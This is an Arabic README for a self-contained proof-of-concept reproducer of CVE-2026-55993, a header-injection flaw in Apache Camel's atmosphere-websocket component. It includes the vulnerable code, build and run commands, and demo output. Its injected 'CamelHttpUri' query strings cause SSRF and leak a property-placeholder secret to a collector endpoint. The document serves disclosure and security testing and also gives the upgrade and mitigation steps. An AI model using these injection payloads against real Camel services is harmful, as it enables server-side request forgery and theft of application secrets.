
مُعيد إنتاج لإثبات المفهوم (PoC) لـ CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): يقوم مستهلك WebSocket بنسخ معاملات استعلام الاتصال على Exchange بدون تصفية، لذا فإن CamelHttpUri المُحقن يقود إلى طلب من جانب الخادم (SSRF) ويُسرّب بدائلات الخصائص التي تم حلها. تم الإصلاح في 4.14.8/4.18.3/4.21.0.
يوضح هذا المشروع حقن رأس الرسالة في مكون camel-atmosphere-websocket الخاص بـ Apache Camel، والمُتتبع كـ CVE-2026-55993. ينسخ مستهلك WebSocket معلمات الاستعلام الخاصة بالاتصال إلى تبادل Camel بدون أي HeaderFilterStrategy، لذا يمكن للعميل حقن رؤوس تحكم Camel — ولا سيما CamelHttpUri — بمجرد إضافتها إلى سلسلة استعلام عنوان URL الخاص بـ WebSocket:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
عندما يربط المسار هذا المستهلك بمنتج HTTP، فإن CamelHttpUri المحقون يتجاوز URI الهدف الخاص بالمنتج — تزوير طلب من جانب الخادم. كما يستدعي منتج camel-http resolvePropertyPlaceholders() على URI المُتحكم به من قبل المهاجم، لذا يتم توسيع مرجع {{...}} المحقون إلى قيمته الحقيقية وإرسالها — مما يكشف متغيرات البيئة أو خصائص التطبيق أو أسرار الخزنة.
يوضح هذا الإثبات (PoC) التأثير كـ SSRF بالإضافة إلى كشف الأسرار (CWE-20 → CWE-918 + CWE-200). إنه أحد ثلاثة مكونات شقيقة تم إصلاحها معًا تحت CAMEL-23532 (مع camel-vertx-websocket، CVE-2026-46726، وcamel-iggy، CVE-2026-55994).
Advisory: https://camel.apache.org/security/CVE-2026-55993.html
يطبق الإصلاح
HttpHeaderFilterStrategyالموروث على التعيين الوارد، وتصفية الرؤوسCamel*/camel*بطريقة غير حساسة لحالة الأحرف بحيث لا يمكن حقنها بعد الآن عبر سلسلة استعلام WebSocket.
يتم تشغيل العضوين الثغريين من WebsocketConsumer بدون تغيير، مع سلسلة استعلام يتحكم بها المهاجم:
WebsocketConsumer.getQueryMap(String) الحقيقي — المحلل الساذج غير المصفّي الذي يحول سلسلة استعلام اتصال WebSocket إلى خريطة؛WebsocketConsumer.sendEventNotification(...) الحقيقي — الذي ينسخ كل إدخال من تلك الخريطة إلى التبادل (Exchange) كرأس، بدون HeaderFilterStrategy.يتدفق التبادل الناتج عبر المسار الحقيقي إلى منتج camel-http الحقيقي، لذا فإن SSRF وكشف مكان الاحتلال {{...}} حقيقيان.
لماذا لا يُستخدم نقل WebSocket مباشرة. في هذا الإصدار من المكون (Camel 4.18.2 → Atmosphere 3.1.0)، يتم تقديم WebSocket عبر JSR-356، الذي يتولى حاوية servlet ترقية الاتصال ويتجاوز
CamelWebSocketServlet.service()— المكان الوحيد الذي ينسخ سلسلة استعلام الاتصال إلىqueryMapالخاص بالمستهلك. يقرأsendEventNotificationتلك الخريطة (الفارغة)، ولا يقرأ أبدًا الاستعلام الموجود على جلسة WebSocket، لذلك لا يمكن تسليم الحقن عبر WebSocket حي من نوع JSR-356 في هذا الإصدار من Atmosphere. (يدعم Atmosphere 3.1.0 فقط JSR-356 / Servlet30 / BlockingIO / Netty — لا يوجد نقل WebSocket قائم على servlet من شأنه تعبئةqueryMap.) لذلك يستدعي هذا المُعيد إنتاج الطريقتين الحقيقيتين الثغريتين مباشرة مع سلسلة استعلام المهاجم؛ يقوم إثبات (PoC) المكون الشقيقcamel-vertx-websocket(CVE-2026-46726) بتشغيل العيب نفسه عبر WebSocket حي، لأن ذلك المكون يعيّن الاستعلام على كل رسالة.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
الهدف الوحيد الذي ينوي مؤلف المسار هو /legit-backend؛ CamelHttpUri المحقون يتجاوزه.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # خدمة ذاتية مستقلة واحدة
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # جامع SSRF: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # يقود getQueryMap الحقيقي و sendEventNotification باستعلام محقون
└── resources/
└── application.properties # app.secret=... (تم تسريبه عبر دقة المكان المحتجز)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). بعد الترقية، يقوم المستهلك بتصفية رؤوس Camel* من سلسلة استعلام WebSocket، لذا لا يمكن حقن CamelHttpUri ورؤوس التحكم الأخرى بعد الآن.
حتى الترقية، لا تقم بربط مستهلك atmosphere-websocket مباشرة بمنتج HTTP دون تجريد رؤوس تحكم Camel أولاً (على سبيل المثال removeHeaders("CamelHttp*"))، وحدد هدف المنتج من مصدر موثوق (أو استخدم bridgeEndpoint=true).
يتم توفير هذا المُعيد إنتاج للبحث الأمني والاختبار المصرح به فقط، لثغرة تم الكشف عنها علنًا وإصلاحها. لا تستخدمه ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكون | camel-atmosphere-websocket |
| الفئة المتأثرة | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() تعيين معلمات الاستعلام إلى رؤوس بدون مرشح) |
| CWE | CWE-20 (التحقق غير السليم من الإدخال) → CWE-918 (SSRF) + CWE-200 (كشف المعلومات) |
| التأثير | SSRF غير مصدق وكشف الأسرار عبر دقة مكان الاحتلال (property‑placeholder) في URI المحقون |
| الشروط المسبقة | يربط مسار مستهلك atmosphere-websocket بمنتج HTTP؛ يعمل servlet مع events=true |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0 |
| الإصدارات المُصلحة | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| الإسناد | Kamalpreet Singh |